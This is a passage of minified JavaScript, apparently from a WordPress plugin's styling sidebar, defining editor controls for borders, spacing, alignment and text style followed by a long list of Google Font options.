0!==e.color&&t.settingId.indexOf("border-color")>=0&&(a[t.sectionId]["border-color"]=e.color),void 0!==e.width&&(a[t.sectionId]["border-size"]=e.width),void 0!==e.style&&(a[t.sectionId]["border-type"]=e.style),t.setHasUnSavedChanges(!0),t.setPanelData(a)}})},s=t=>{const a=t.panelData[t.sectionId];return(0,e.createElement)(n.__experimentalBoxControl,{label:t.label,values:{left:a[`${t.settingId}-left`],right:a[`${t.settingId}-right`],top:a[`${t.settingId}-top`],bottom:a[`${t.settingId}-bottom`]},onChange:e=>(e=>{let a=(0,l.cloneDeep)(t.panelData);a[t.sectionId][`${t.settingId}-left`]=e.left,a[t.sectionId][`${t.settingId}-right`]=e.right,a[t.sectionId][`${t.settingId}-top`]=e.top,a[t.sectionId][`${t.settingId}-bottom`]=e.bottom,t.setHasUnSavedChanges(!0),t.setPanelData(a)})(e)})},c=t=>{const a=t.panelData[t.sectionId];return(0,e.createElement)(n.__experimentalUnitControl,{label:t.label,onChange:e=>{let a=(0,l.cloneDeep)(t.panelData);a[t.sectionId][t.settingId]=e,t.setPanelData(a),t.setHasUnSavedChanges(!0)},value:a[t.settingId]})},d=t=>{const a=t.panelData[t.sectionId];return(0,e.createElement)(n.CheckboxControl,{label:t.label,checked:a[t.settingId],onChange:e=>{let a=(0,l.cloneDeep)(t.panelData);a[t.sectionId][t.settingId]=e,t.setHasUnSavedChanges(!0),t.setPanelData(a)}})},u=t=>{const a=t.panelData[t.sectionId],i=e=>{let a=(0,l.cloneDeep)(t.panelData);a[t.sectionId][t.settingId]=e,t.setHasUnSavedChanges(!0),t.setPanelData(a)};return(0,e.createElement)(e.Fragment,null,(()=>{let l="secondary",o="primary",r=a[t.settingId];return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("label",{className:"sfwf-sidebar-custom-label"},t.label),(0,e.createElement)("div",null,(0,e.createElement)(n.ButtonGroup,null,(0,e.createElement)(n.Button,{variant:"left"===r?o:l,onClick:()=>i("left")},(0,e.createElement)(n.Dashicon,{icon:"editor-alignleft"})),(0,e.createElement)(n.Button,{variant:"center"===r?o:l,onClick:()=>i("center")},(0,e.createElement)(n.Dashicon,{icon:"editor-aligncenter"})),(0,e.createElement)(n.Button,{variant:"right"===r?o:l,onClick:()=>i("right")},(0,e.createElement)(n.Dashicon,{icon:"editor-alignright"})),(0,e.createElement)(n.Button,{variant:"justify"===r?o:l,onClick:()=>i("justify")},(0,e.createElement)(n.Dashicon,{icon:"editor-justify"})))))})())},m=t=>{const a=t.panelData[t.sectionId],i=e=>{let a=(0,l.cloneDeep)(t.panelData),n=a[t.sectionId][t.settingId],i=n.split("|");i.length&&i.indexOf(e)>=0?i.splice(i.indexOf(e),1):i.push(e);let o=i.filter((e=>""!==e));n=o.join("|"),a[t.sectionId][t.settingId]=n,t.setHasUnSavedChanges(!0),t.setPanelData(a)};return(0,e.createElement)(e.Fragment,null,(()=>{let l="secondary",o="primary",r=a[t.settingId];return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("label",{className:"sfwf-sidebar-custom-label"},t.label),(0,e.createElement)("div",null,(0,e.createElement)(n.ButtonGroup,null,(0,e.createElement)(n.Button,{variant:r.search("bold")>=0?o:l,onClick:()=>i("bold")},(0,e.createElement)(n.Dashicon,{icon:"editor-bold"})),(0,e.createElement)(n.Button,{variant:r.search("italic")>=0?o:l,onClick:()=>i("italic")},(0,e.createElement)(n.Dashicon,{icon:"editor-italic"})),(0,e.createElement)(n.Button,{variant:r.search("uppercase")>=0?o:l,onClick:()=>i("uppercase")},(0,e.createElement)(n.Dashicon,{icon:"editor-spellcheck"})),(0,e.createElement)(n.Button,{variant:r.search("underline")>=0?o:l,onClick:()=>i("underline")},(0,e.createElement)(n.Dashicon,{icon:"editor-underline"})))))})())},p=(window.wp.compose,t=>{const a=t.panelData[t.sectionId];return(0,e.createElement)(e.Fragment,null,(()=>{const i=(0,l.cloneDeep)(t.settingId).map((i=>{let o="";o=i.indexOf("tab")>=0?"tablet":i.indexOf("phone")>=0?"smartphone":"desktop";let r=a[i];return i.includes("line-height")&&r&&(/[a-z%]+$/i.test(r)||(r+="em")),(0,e.createElement)(n.FlexBlock,null,(0,e.createElement)(n.Dashicon,{icon:o}),(0,e.createElement)(n.__experimentalUnitControl,{onChange:e=>((e,a)=>{let n=(0,l.cloneDeep)(t.panelData);n[t.sectionId][e]=a,t.setHasUnSavedChanges(!0),t.setPanelData(n)})(i,e),value:r}))}));return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("label",{className:"sfwf-sidebar-custom-label"},t.label),(0,e.createElement)(n.Flex,null,i))})())}),f=[{value:"Default",label:"Default"},{value:"ABeeZee",label:"ABeeZee"},{value:"Abel",label:"Abel"},{value:"Abhaya Libre",label:"Abhaya Libre"},{value:"Abril Fatface",label:"Abril Fatface"},{value:"Aclonica",label:"Aclonica"},{value:"Acme",label:"Acme"},{value:"Actor",label:"Actor"},{value:"Adamina",label:"Adamina"},{value:"Advent Pro",label:"Advent Pro"},{value:"Aguafina Script",label:"Aguafina Script"},{value:"Akronim",label:"Akronim"},{value:"Aladin",label:"Aladin"},{value:"Aldrich",label:"Aldrich"},{value:"Alef",label:"Alef"},{value:"Alegreya",label:"Alegreya"},{value:"Alegreya SC",label:"Alegreya SC"},{value:"Alegreya Sans",label:"Alegreya Sans"},{value:"Alegreya Sans SC",label:"Alegreya Sans SC"},{value:"Alex Brush",label:"Alex Brush"},{value:"Alfa Slab One",label:"Alfa Slab One"},{value:"Alice",label:"Alice"},{value:"Alike",label:"Alike"},{value:"Alike Angular",label:"Alike Angular"},{value:"Allan",label:"Allan"},{value:"Allerta",label:"Allerta"},{value:"Allerta Stencil",label:"Allerta Stencil"},{value:"Allura",label:"Allura"},{value:"Almendra",label:"Almendra"},{value:"Almendra Display",label:"Almendra Display"},{value:"Almendra SC",label:"Almendra SC"},{value:"Amarante",label:"Amarante"},{value:"Amaranth",label:"Amaranth"},{value:"Amatic SC",label:"Amatic SC"},{value:"Amatica SC",label:"Amatica SC"},{value:"Amethysta",label:"Amethysta"},{value:"Amiko",label:"Amiko"},{value:"Amiri",label:"Amiri"},{value:"Amita",label:"Amita"},{value:"Anaheim",label:"Anaheim"},{value:"Andada",label:"Andada"},{value:"Andika",label:"Andika"},{value:"Angkor",label:"Angkor"},{value:"Annie Use Your Telescope",label:"Annie Use Your Telescope"},{value:"Anonymous Pro",label:"Anonymous Pro"},{value:"Antic",label:"Antic"},{value:"Antic Didone",label:"Antic Didone"},{value:"Antic Slab",label:"Antic Slab"},{value:"Anton",label:"Anton"},{value:"Arapey",label:"Arapey"},{value:"Arbutus",label:"Arbutus"},{value:"Arbutus Slab",label:"Arbutus Slab"},{value:"Architects Daughter",label:"Architects Daughter"},{value:"Archivo",label:"Archivo"},{value:"Archivo Black",label:"Archivo Black"},{value:"Archivo Narrow",label:"Archivo Narrow"},{value:"Aref Ruqaa",label:"Aref Ruqaa"},{value:"Arima Madurai",label:"Arima Madurai"},{value:"Arimo",label:"Arimo"},{value:"Arizonia",label:"Arizonia"},{value:"Armata",label:"Armata"},{value:"Arsenal",label:"Arsenal"},{value:"Artifika",label:"Artifika"},{value:"Arvo",label:"Arvo"},{value:"Arya",label:"Arya"},{value:"Asap",label:"Asap"},{value:"Asap Condensed",label:"Asap Condensed"},{value:"Asar",label:"Asar"},{value:"Asset",label:"Asset"},{value:"Assistant",label:"Assistant"},{value:"Astloch",label:"Astloch"},{value:"Asul",label:"Asul"},{value:"Athiti",label:"Athiti"},{value:"Atma",label:"Atma"},{value:"Atomic Age",label:"Atomic Age"},{value:"Aubrey",label:"Aubrey"},{value:"Audiowide",label:"Audiowide"},{value:"Autour One",label:"Autour One"},{value:"Average",label:"Average"},{value:"Average Sans",label:"Average Sans"},{value:"Averia Gruesa Libre",label:"Averia Gruesa Libre"},{value:"Averia Libre",label:"Averia Libre"},{value:"Averia Sans Libre",label:"Averia Sans Libre"},{value:"Averia Serif Libre",label:"Averia Serif Libre"},{value:"Bad Script",label:"Bad Script"},{value:"Bahiana",label:"Bahiana"},{value:"Baloo",label:"Baloo"},{value:"Baloo Bhai",label:"Baloo Bhai"},{value:"Baloo Bhaijaan",label:"Baloo Bhaijaan"},{value:"Baloo Bhaina",label:"Baloo Bhaina"},{value:"Baloo Chettan",label:"Baloo Chettan"},{value:"Baloo Da",label:"Baloo Da"},{value:"Baloo Paaji",label:"Baloo Paaji"},{value:"Baloo Tamma",label:"Baloo Tamma"},{value:"Baloo Tammudu",label:"Baloo Tammudu"},{value:"Baloo Thambi",label:"Baloo Thambi"},{value:"Balthazar",label:"Balthazar"},{value:"Bangers",label:"Bangers"},{value:"Barrio",label:"Barrio"},{value:"Basic",label:"Basic"},{value:"Battambang",label:"Battambang"},{value:"Baumans",label:"Baumans"},{value:"Bayon",label:"Bayon"},{value:"Belgrano",label:"Belgrano"},{value:"Bellefair",label:"Bellefair"},{value:"Belleza",label:"Belleza"},{value:"BenchNine",label:"BenchNine"},{value:"Bentham",label:"Bentham"},{value:"Berkshire Swash",label:"Berkshire Swash"},{value:"Bevan",label:"Bevan"},{value:"Bigelow Rules",label:"Bigelow Rules"},{value:"Bigshot One",label:"Bigshot One"},{value:"Bilbo",label:"Bilbo"},{value:"Bilbo Swash Caps",label:"Bilbo Swash Caps"},{value:"BioRhyme",label:"BioRhyme"},{value:"BioRhyme Expanded",label:"BioRhyme Expanded"},{value:"Biryani",label:"Biryani"},{value:"Bitter",label:"Bitter"},{value:"Black Ops One",label:"Black Ops One"},{value:"Bokor",label:"Bokor"},{value:"Bonbon",label:"Bonbon"},{value:"Boogaloo",label:"Boogaloo"},{value:"Bowlby One",label:"Bowlby One"},{value:"Bowlby One SC",label:"Bowlby One SC"},{value:"Brawler",label:"Brawler"},{value:"Bree Serif",label:"Bree Serif"},{value:"Bubblegum Sans",label:"Bubblegum Sans"},{value:"Bubbler One",label:"Bubbler One"},{value:"Buda",label:"Buda"},{value:"Buenard",label:"Buenard"},{value:"Bungee",label:"Bungee"},{value:"Bungee Hairline",label:"Bungee Hairline"},{value:"Bungee Inline",label:"Bungee Inline"},{value:"Bungee Outline",label:"Bungee Outline"},{value:"Bungee Shade",label:"Bungee Shade"},{value:"Butcherman",label:"Butcherman"},{value:"Butterfly Kids",label:"Butterfly Kids"},{value:"Cabin",label:"Cabin"},{value:"Cabin Condensed",label:"Cabin Condensed"},{value:"Cabin Sketch",label:"Cabin Sketch"},{value:"Caesar Dressing",label:"Caesar Dressing"},{value:"Cagliostro",label:"Cagliostro"},{value:"Cairo",label:"Cairo"},{value:"Calligraffitti",label:"Calligraffitti"},{value:"Cambay",label:"Cambay"},{value:"Cambo",label:"Cambo"},{value:"Candal",label:"Candal"},{value:"Cantarell",label:"Cantarell"},{value:"Cantata One",label:"Cantata One"},{value:"Cantora One",label:"Cantora One"},{value:"Capriola",label:"Capriola"},{value:"Cardo",label:"Cardo"},{value:"Carme",label:"Carme"},{value:"Carrois Gothic",label:"Carrois Gothic"},{value:"Carrois Gothic SC",label:"Carrois Gothic SC"},{value:"Carter One",label:"Carter One"},{value:"Catamaran",label:"Catamaran"},{value:"Caudex",label:"Caudex"},{value:"Caveat",label:"Caveat"},{value:"Caveat Brush",label:"Caveat Brush"},{value:"Cedarville Cursive",label:"Cedarville Cursive"},{value:"Ceviche One",label:"Ceviche One"},{value:"Changa",label:"Changa"},{value:"Changa One",label:"Changa One"},{value:"Chango",label:"Chango"},{value:"Chathura",label:"Chathura"},{value:"Chau Philomene One",label:"Chau Philomene One"},{value:"Chela One",label:"Chela One"},{value:"Chelsea Market",label:"Chelsea Market"},{value:"Chenla",label:"Chenla"},{value:"Cherry Cream Soda",label:"Cherry Cream Soda"},{value:"Cherry Swash",label:"Cherry Swash"},{value:"Chewy",label:"Chewy"},{value:"Chicle",label:"Chicle"},{value:"Chivo",label:"Chivo"},{value:"Chonburi",label:"Chonburi"},{value:"Cinzel",label:"Cinzel"},{value:"Cinzel Decorative",label:"Cinzel Decorative"},{value:"Clicker Script",label:"Clicker Script"},{value:"Coda",label:"Coda"},{value:"Coda Caption",label:"Coda Caption"},{value:"Codystar",label:"Codystar"},{value:"Coiny",label:"Coiny"},{value:"Combo",label:"Combo"},{value:"Comfortaa",label:"Comfortaa"},{value:"Coming Soon",label:"Coming Soon"},{value:"Concert One",label:"Concert One"},{value:"Condiment",label:"Condiment"},{value:"Content",label:"Content"},{value:"Contrail One",label:"Contrail One"},{value:"Convergence",label:"Convergence"},{value:"Cookie",label:"Cookie"},{value:"Copse",label:"Copse"},{value:"Corben",label:"Corben"},{value:"Cormorant",label:"Cormorant"},{value:"Cormorant Garamond",label:"Cormorant Garamond"},{value:"Cormorant Infant",label:"Cormorant Infant"},{value:"Cormorant SC",label:"Cormorant SC"},{value:"Cormorant Unicase",label:"Cormorant Unicase"},{value:"Cormorant Upright",label:"Cormorant Upright"},{value:"Courgette",label:"Courgette"},{value:"Cousine",label:"Cousine"},{value:"Coustard",label:"Coustard"},{value:"Covered By Your Grace",label:"Covered By Your Grace"},{value:"Crafty Girls",label:"Crafty Girls"},{value:"Creepster",label:"Creepster"},{value:"Crete Round",label:"Crete Round"},{value:"Crimson Text",label:"Crimson Text"},{value:"Croissant One",label:"Croissant One"},{value:"Crushed",label:"Crushed"},{value:"Cuprum",label:"Cuprum"},{value:"Cutive",label:"Cutive"},{value:"Cutive Mono",label:"Cutive Mono"},{value:"Damion",label:"Damion"},{value:"Dancing Script",label:"Dancing Script"},{value:"Dangrek",label:"Dangrek"},{value:"David Libre",label:"David Libre"},{value:"Dawning of a New Day",label:"Dawning of a New Day"},{value:"Days One",label:"Days One"},{value:"Dekko",label:"Dekko"},{value:"Delius",label:"Delius"},{value:"Delius Swash Caps",label:"Delius Swash Caps"},{value:"Delius Unicase",label:"Delius Unicase"},{value:"Della Respira",label:"Della Respira"},{value:"Denk One",label:"Denk One"},{value:"Devonshire",label:"Devonshire"},{value:"Dhurjati",label:"Dhurjati"},{value:"Didact Gothic",label:"Didact Gothic"},{value:"Diplomata",label:"Diplomata"},{value:"Diplomata SC",label:"Diplomata SC"},{value:"Domine",label:"Domine"},{value:"Donegal One",label:"Donegal One"},{value:"Doppio One",label:"Doppio One"},{value:"Dorsa",label:"Dorsa"},{value:"Dosis",label:"Dosis"},{value:"Dr Sugiyama",label:"Dr Sugiyama"},{value:"Droid Sans",label:"Droid Sans"},{value:"Droid Sans Mono",label:"Droid Sans Mono"},{value:"Droid Serif",label:"Droid Serif"},{value:"Duru Sans",label:"Duru Sans"},{value:"Dynalight",label:"Dynalight"},{value:"EB Garamond",label:"EB Garamond"},{value:"Eagle Lake",label:"Eagle Lake"},{value:"Eater",label:"Eater"},{value:"Economica",label:"Economica"},{value:"Eczar",label:"Eczar"},{value:"El Messiri",label:"El Messiri"},{value:"Electrolize",label:"Electrolize"},{value:"Elsie",label:"Elsie"},{value:"Elsie Swash Caps",label:"Elsie Swash Caps"},{value:"Emblema One",label:"Emblema One"},{value:"Emilys Candy",label:"Emilys Candy"},{value:"Encode Sans",label:"Encode Sans"},{value:"Encode Sans Condensed",label:"Encode Sans Condensed"},{value:"Encode Sans Expanded",label:"Encode Sans Expanded"},{value:"Encode Sans Semi Condensed",label:"Encode Sans Semi Condensed"},{value:"Encode Sans Semi Expanded",label:"Encode Sans Semi Expanded"},{value:"Engagement",label:"Engagement"},{value:"Englebert",label:"Englebert"},{value:"Enriqueta",label:"Enriqueta"},{value:"Erica One",label:"Erica One"},{value:"Esteban",label:"Esteban"},{value:"Euphoria Script",label:"Euphoria Script"},{value:"Ewert",label:"Ewert"},{value:"Exo",label:"Exo"},{value:"Exo 2",label:"Exo 2"},{value:"Expletus Sans",label:"Expletus Sans"},{value:"Fanwood Text",label:"Fanwood Text"},{value:"Farsan",label:"Farsan"},{value:"Fascinate",label:"Fascinate"},{value:"Fascinate Inline",label:"Fascinate Inline"},{value:"Faster One",label:"Faster One"},{value:"Fasthand",label:"Fasthand"},{value:"Fauna One",label:"Fauna One"},{value:"Faustina",label:"Faustina"},{value:"Federant",label:"Federant"},{value:"Federo",label:"Federo"},{value:"Felipa",label:"Felipa"},{value:"Fenix",label:"Fenix"},{value:"Finger Paint",label:"Finger Paint"},{value:"Fira Mono",label:"Fira Mono"},{value:"Fira Sans",label:"Fira Sans"},{value:"Fira Sans Condensed",label:"Fira Sans Condensed"},{value:"Fira Sans Extra Condensed",label:"Fira Sans Extra Condensed"},{value:"Fjalla One",label:"Fjalla One"},{value:"Fjord One",label:"Fjord One"},{value:"Flamenco",label:"Flamenco"},{value:"Flavors",label:"Flavors"},{value:"Fondamento",label:"Fondamento"},{value:"Fontdiner Swanky",label:"Fontdiner Swanky"},{value:"Forum",label:"Forum"},{value:"Francois One",label:"Francois One"},{value:"Frank Ruhl Libre",label:"Frank Ruhl Libre"},{value:"Freckle Face",label:"Freckle Face"},{value:"Fredericka the Great",label:"Fredericka the Great"},{value:"Fredoka One",label:"Fredoka One"},{value:"Freehand",label:"Freehand"},{value:"Fresca",label:"Fresca"},{value:"Frijole",label:"Frijole"},{value:"Fruktur",label:"Fruktur"},{value:"Fugaz One",label:"Fugaz One"},{value:"GFS Didot",label:"GFS Didot"},{value:"GFS Neohellenic",label:"GFS Neohellenic"},{value:"Gabriela",label:"Gabriela"},{value:"Gafata",label:"Gafata"},{value:"Galada",label:"Galada"},{value:"Galdeano",label:"Galdeano"},{value:"Galindo",label:"Galindo"},{value:"Gentium Basic",label:"Gentium Basic"},{value:"Gentium Book Basic",label:"Gentium Book Basic"},{value:"Geo",label:"Geo"},{value:"Geostar",label:"Geostar"},{value:"Geostar Fill",label:"Geostar Fill"},{value:"Germania One",label:"Germania One"},{value:"Gidugu",label:"Gidugu"},{value:"Gilda Display",label:"Gilda Display"},{value:"Give You Glory",label:"Give You Glory"},{value:"Glass Antiqua",label:"Glass Antiqua"},{value:"Glegoo",label:"Glegoo"},{value:"Gloria Hallelujah",label:"Gloria Hallelujah"},{value:"Goblin One",label:"Goblin One"},{value:"Gochi Hand",label:"Gochi Hand"},{value:"Gorditas",label:"Gorditas"},{value:"Goudy Bookletter 1911",label:"Goudy Bookletter 1911"},{value:"Graduate",label:"Graduate"},{value:"Grand Hotel",label:"Grand Hotel"},{value:"Gravitas One",label:"Gravitas One"},{value:"Great Vibes",label:"Great Vibes"},{value:"Griffy",label:"Griffy"},{value:"Gruppo",label:"Gruppo"},{value:"Gudea",label:"Gudea"},{value:"Gurajada",label:"Gurajada"},{value:"Habibi",label:"Habibi"},{value:"Halant",label:"Halant"},{value:"Hammersmith One",label:"Hammersmith One"},{value:"Hanalei",label:"Hanalei"},{value:"Hanalei Fill",label:"Hanalei Fill"},{value:"Handlee",label:"Handlee"},{value:"Hanuman",label:"Hanuman"},{value:"Happy Monkey",label:"Happy Monkey"},{value:"Harmattan",label:"Harmattan"},{value:"Headland One",label:"Headland One"},{value:"Heebo",label:"Heebo"},{value:"Henny Penny",label:"Henny Penny"},{value:"Herr Von Muellerhoff",label:"Herr Von Muellerhoff"},{value:"Hind",label:"Hind"},{value:"Hind Guntur",label:"Hind Guntur"},{value:"Hind Madurai",label:"Hind Madurai"},{value:"Hind Siliguri",label:"Hind Siliguri"},{value:"Hind Vadodara",label:"Hind Vadodara"},{value:"Holtwood One SC",label:"Holtwood One SC"},{value:"Homemade Apple",label:"Homemade Apple"},{value:"Homenaje",label:"Homenaje"},{value:"IM Fell DW Pica",label:"IM Fell DW Pica"},{value:"IM Fell DW Pica SC",label:"IM Fell DW Pica SC"},{value:"IM Fell Double Pica",label:"IM Fell Double Pica"},{value:"IM Fell Double Pica SC",label:"IM Fell Double Pica SC"},{value:"IM Fell English",label:"IM Fell English"},{value:"IM Fell English SC",label:"IM Fell English SC"},{value:"IM Fell French Canon",label:"IM Fell French Canon"},{value:"IM Fell French Canon SC",label:"IM Fell French Canon SC"},{value:"IM Fell Great Primer",label:"IM Fell Great Primer"},{value:"IM Fell Great Primer SC",label:"IM Fell Great Primer SC"},{value:"Iceberg",label:"Iceberg"},{value:"Iceland",label:"Iceland"},{value:"Imprima",label:"Imprima"},{value:"Inconsolata",label:"Inconsolata"},{value:"Inder",label:"Inder"},{value:"Indie Flower",label:"Indie Flower"},{value:"Inika",label:"Inika"},{value:"Inknut Antiqua",label:"Inknut Antiqua"},{value:"Irish Grover",label:"Irish Grover"},{value:"Istok Web",label:"Istok Web"},{value:"Italiana",label:"Italiana"},{value:"Italianno",label:"Italianno"},{value:"Itim",label:"Itim"},{value:"Jacques Francois",label:"Jacques Francois"},{value:"Jacques Francois Shadow",label:"Jacques Francois Shadow"},{value:"Jaldi",label:"Jaldi"},{value:"Jim Nightshade",label:"Jim Nightshade"},{value:"Jockey One",label:"Jockey One"},{value:"Jolly Lodger",label:"Jolly Lodger"},{value:"Jomhuria",label:"Jomhuria"},{value:"Josefin Sans",label:"Josefin Sans"},{value:"Josefin Slab",label:"Josefin Slab"},{value:"Joti One",label:"Joti One"},{value:"Judson",label:"Judson"},{value:"Julee",label:"Julee"},{value:"Julius Sans One",label:"Julius Sans One"},{value:"Junge",label:"Junge"},{value:"Jura",label:"Jura"},{value:"Just Another Hand",label:"Just Another Hand"},{value:"Just Me Again Down Here",label:"Just Me Again Down Here"},{value:"Kadwa",label:"Kadwa"},{value:"Kalam",label:"Kalam"},{value:"Kameron",label:"Kameron"},{value:"Kanit",label:"Kanit"},{value:"Kantumruy",label:"Kantumruy"},{value:"Karla",label:"Karla"},{value:"Karma",label:"Karma"},{value:"Katibeh",label:"Katibeh"},{value:"Kaushan Script",label:"Kaushan Script"},{value:"Kavivanar",label:"Kavivanar"},{value:"Kavoon",label:"Kavoon"},{value:"Kdam Thmor",label:"Kdam Thmor"},{value:"Keania One",label:"Keania One"},{value:"Kelly Slab",label:"Kelly Slab"},{value:"Kenia",label:"Kenia"},{value:"Khand",label:"Khand"},{value:"Khmer",label:"Khmer"},{value:"Khula",label:"Khula"},{value:"Kite One",label:"Kite One"},{value:"Knewave",label:"Knewave"},{value:"Kotta One",label:"Kotta One"},{value:"Koulen",label:"Koulen"},{value:"Kranky",label:"Kranky"},{value:"Kreon",label:"Kreon"},{value:"Kristi",label:"Kristi"},{value:"Krona One",label:"Krona One"},{value:"Kumar One",label:"Kumar One"},{value:"Kumar One Outline",label:"Kumar One Outline"},{value:"Kurale",label:"Kurale"},{value:"La Belle Aurore",label:"La Belle Aurore"},{value:"Laila",label:"Laila"},{value:"Lakki Reddy",label:"Lakki Reddy"},{value:"Lalezar",label:"Lalezar"},{value:"Lancelot",label:"Lancelot"},{value:"Lateef",label:"Lateef"},{value:"Lato",label:"Lato"},{value:"League Script",label:"League Script"},{value:"Leckerli One",label:"Leckerli One"},{value:"Ledger",label:"Ledger"},{value:"Lekton",label:"Lekton"},{value:"Lemon",label:"Lemon"},{value:"Lemonada",label:"Lemonada"},{value:"Libre Barcode 128",label:"Libre Barcode 128"},{value:"Libre Barcode 128 Text",label:"Libre Barcode 128 Text"},{value:"Libre Barcode 39",label:"Libre Barcode 39"},{value:"Libre Barcode 39 Extended",label:"Libre Barcode 39 Extended"},{value:"Libre Barcode 39 Extended Text",label:"Libre Barcode 39 Extended Text"},{value:"Libre Barcode 39 Text",label:"Libre Barcode 39 Text"},{value:"Libre Baskerville",label:"Libre Baskerville"},{value:"Libre Franklin",label:"Libre Franklin"},{value:"Life Savers",label:"Life Savers"},{value:"Lilita One",label:"Lilita One"},{value:"Lily Script One",label:"Lily Script One"},{value:"Limelight",label:"Limelight"},{value:"Linden Hill",label:"Linden Hill"},{value:"Lobster",label:"Lobster"},{value:"Lobster Two",label:"Lobster Two"},{value:"Londrina Outline",label:"Londrina Outline"},{value:"Londrina Shadow",label:"Londrina Shadow"},{value:"Londrina Sketch",label:"Londrina Sketch"},{value:"Londrina Solid",label:"Londrina Solid"},{value:"Lora",label:"Lora"},{value:"Love Ya Like A Sister",label:"Love Ya Like A Sister"},{value:"Loved by the King",label:"Loved by the King"},{value:"Lovers Quarrel",label:"Lovers Quarrel"},{value:"Luckiest Guy",label:"Luckiest Guy"},{value:"Lusitana",label:"Lusitana"},{value:"Lustria",label:"Lustria"},{value:"Macondo",label:"Macondo"},{value:"Macondo Swash Caps",label:"Macondo Swash Caps"},{value:"Mada",label:"Mada"},{value:"Magra",label:"Magra"},{value:"Maiden Orange",label:"Maiden Orange"},{value:"Maitree",label:"Maitree"},{value:"Mako",label:"Mako"},{value:"Mallanna",label:"Mallanna"},{value:"Mandali",label:"Mandali"},{value:"Manuale",label:"Manuale"},{value:"Marcellus",label:"Marcellus"},{value:"Marcellus SC",label:"Marcellus SC"},{value:"Marck Script",label:"Marck Script"},{value:"Margarine",label:"Margarine"},{value:"Marko One",label:"Marko One"},{value:"Marmelad",label:"Marmelad"},{value:"Martel",label:"Martel"},{value:"Martel Sans",label:"Martel Sans"},{value:"Marvel",label:"Marvel"},{value:"Mate",label:"Mate"},{value:"Mate SC",label:"Mate SC"},{value:"Maven Pro",label:"Maven Pro"},{value:"McLaren",label:"McLaren"},{value:"Meddon",label:"Meddon"},{value:"MedievalSharp",label:"MedievalSharp"},{value:"Medula One",label:"Medula One"},{value:"Meera Inimai",label:"Meera Inimai"},{value:"Megrim",label:"Megrim"},{value:"Meie Script",label:"Meie Script"},{value:"Merienda",label:"Merienda"},{value:"Merienda One",label:"Merienda One"},{value:"Merriweather",label:"Merriweather"},{value:"Merriweather Sans",label:"Merriweather Sans"},{value:"Metal",label:"Metal"},{value:"Metal Mania",label:"Metal Mania"},{value:"Metamorphous",label:"Metamorphous"},{value:"Metrophobic",label:"Metrophobic"},{value:"Michroma",label:"Michroma"},{value:"Milonga",label:"Milonga"},{value:"Miltonian",label:"Miltonian"},{value:"Miltonian Tattoo",label:"Miltonian Tattoo"},{value:"Miniver",label:"Miniver"},{value:"Miriam Libre",label:"Miriam Libre"},{value:"Mirza",label:"Mirza"},{value:"Miss Fajardose",label:"Miss Fajardose"},{value:"Mitr",label:"Mitr"},{value:"Modak",label:"Modak"},{value:"Modern Antiqua",label:"Modern Antiqua"},{value:"Mogra",label:"Mogra"},{value:"Molengo",label:"Molengo"},{value:"Molle",label:"Molle"},{value:"Monda",label:"Monda"},{value:"Monofett",label:"Monofett"},{value:"Monoton",label:"Monoton"},{value:"Monsieur La Doulaise",label:"Monsieur La Doulaise"},{value:"Montaga",label:"Montaga"},{value:"Montez",label:"Montez"},{value:"Montserrat",label:"Montserrat"},{value:"Montserrat Alternates",label:"Montserrat Alternates"},{value:"Montserrat Subrayada",label:"Montserrat Subrayada"},{value:"Moul",label:"Moul"},{value:"Moulpali",label:"Moulpali"},{value:"Mountains of Christmas",label:"Mountains of Christmas"},{value:"Mouse Memoirs",label:"Mouse Memoirs"},{value:"Mr Bedfort",label:"Mr Bedfort"},{value:"Mr Dafoe",label:"Mr Dafoe"},{value:"Mr De Haviland",label:"Mr De Haviland"},{value:"Mrs Saint Delafield",label:"Mrs Saint Delafield"},{value:"Mrs Sheppards",label:"Mrs Sheppards"},{value:"Mukta",label:"Mukta"},{value:"Mukta Mahee",label:"Mukta Mahee"},{value:"Mukta Malar",label:"Mukta Malar"},{value:"Mukta Vaani",label:"Mukta Vaani"},{value:"Muli",label:"Muli"},{value:"Mystery Quest",label:"Mystery Quest"},{value:"NTR",label:"NTR"},{value:"Neucha",label:"Neucha"},{value:"Neuton",label:"Neuton"},{value:"New Rocker",label:"New Rocker"},{value:"News Cycle",label:"News Cycle"},{value:"Niconne",label:"Niconne"},{value:"Nixie One",label:"Nixie One"},{value:"Nobile",label:"Nobile"},{value:"Nokora",label:"Nokora"},{value:"Norican",label:"Norican"},{value:"Nosifer",label:"Nosifer"},{value:"Nothing You Could Do",label:"Nothing You Could Do"},{value:"Noticia Text",label:"Noticia Text"},{value:"Noto Sans",label:"Noto Sans"},{value:"Noto Serif",label:"Noto Serif"},{value:"Nova Cut",label:"Nova Cut"},{value:"Nova Flat",label:"Nova Flat"},{value:"Nova Mono",label:"Nova Mono"},{value:"Nova Oval",label:"Nova Oval"},{value:"Nova Round",label:"Nova Round"},{value:"Nova Script",label:"Nova Script"},{value:"Nova Slim",label:"Nova Slim"},{value:"Nova Square",label:"Nova Square"},{value:"Numans",label:"Numans"},{value:"Nunito",label:"Nunito"},{value:"Nunito Sans",label:"Nunito Sans"},{value:"Odor Mean Chey",label:"Odor Mean Chey"},{value:"Offside",label:"Offside"},{value:"Old Standard TT",label:"Old Standard TT"},{value:"Oldenburg",label:"Oldenburg"},{value:"Oleo Script",label:"Oleo Script"},{value:"Oleo Script Swash Caps",label:"Oleo Script Swash Caps"},{value:"Open Sans",label:"Open Sans"},{value:"Open Sans Condensed",label:"Open Sans Condensed"},{value:"Oranienbaum",label:"Oranienbaum"},{value:"Orbitron",label:"Orbitron"},{value:"Oregano",label:"Oregano"},{value:"Orienta",label:"Orienta"},{value:"Original Surfer",label:"Original Surfer"},{value:"Oswald",label:"Oswald"},{value:"Over the Rainbow",label:"Over the Rainbow"},{value:"Overlock",label:"Overlock"},{value:"Overlock SC",label:"Overlock SC"},{value:"Overpass",label:"Overpass"},{value:"Overpass Mono",label:"Overpass Mono"},{value:"Ovo",label:"Ovo"},{value:"Oxygen",label:"Oxygen"},{value:"Oxygen Mono",label:"Oxygen Mono"},{value:"PT Mono",label:"PT Mono"},{value:"PT Sans",label:"PT Sans"},{value:"PT Sans Caption",label:"PT Sans Caption"},{value:"PT Sans Narrow",label:"PT Sans Narrow"},{value:"PT Serif",label:"PT Serif"},{value:"PT Serif Caption",label:"PT Serif Caption"},{value:"Pacifico",label:"Pacifico"},{value:"Padauk",label:"Padauk"},{value:"Palanquin",label:"Palanquin"},{value:"Palanquin 